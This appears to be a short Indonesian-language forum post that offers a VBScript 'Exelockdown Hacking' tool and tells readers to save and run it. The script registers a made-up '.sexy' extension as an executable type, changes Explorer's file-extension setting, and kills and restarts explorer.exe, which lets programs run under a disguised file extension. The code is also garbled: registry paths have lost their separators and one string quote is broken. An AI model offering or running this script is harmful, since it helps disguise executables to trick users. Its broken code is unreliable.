crewh3x4

maanfaatkan kode2 di bawah.



'===================================
const HKEY_CLASSES_ROOT = & H80000000
const HKEY_CURRENT_USER = & H80000001
Quot = chr (34)
strComputer = "."
On error resume next
Tanya = MsgBox ("By Laluan Exelockdown dan Registry Shell Spawning" & _
vbNewLine & "datang Exelockdown?", 36, "Exelockdown Hacking - by Lovepassword")
If Tanya = 6 Then 'pilih YA
Set objRegistry = GetObject ("winmgmts: {impersonationLevel = impersonate}! \" & StrComputer & "ootdefault: StdRegProv")
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexy"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy",, "exefile"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexy", "Content Type", "application / x-msdownload"
objRegistry.CreateKey HKEY_CLASSES_ROOT, ". sexyPersistentHandler"
objRegistry.SetStringValue HKEY_CLASSES_ROOT, ". sexyPersistentHandler ",,"{ 098f2470-bae0-11cd-b579-08002b30bfeb}"
objRegistry.CreateKey HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced"
objRegistry.SetDWORDValue HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced", "HideFileExt", 0
Set objWMIService = GetObject ("winmgmts:" _
& "{ImpersonationLevel = impersonate}! \" & StrComputer & "ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
("SELECT * FROM Win32_Process WHERE Name = 'explorer.exe'")
For Each objProcess in colProcessList
objProcess.Terminate ()
Next
set objShell = CreateObject ("WScript.Shell")
objShell.Run "explorer.exe"
msgbox "copi file exe, jalankan operasi ini", vbInformation, "Exelockdown Hacking - nick kluang "
End If

'===========================================

save as di notepad dengan extension sexy.vbs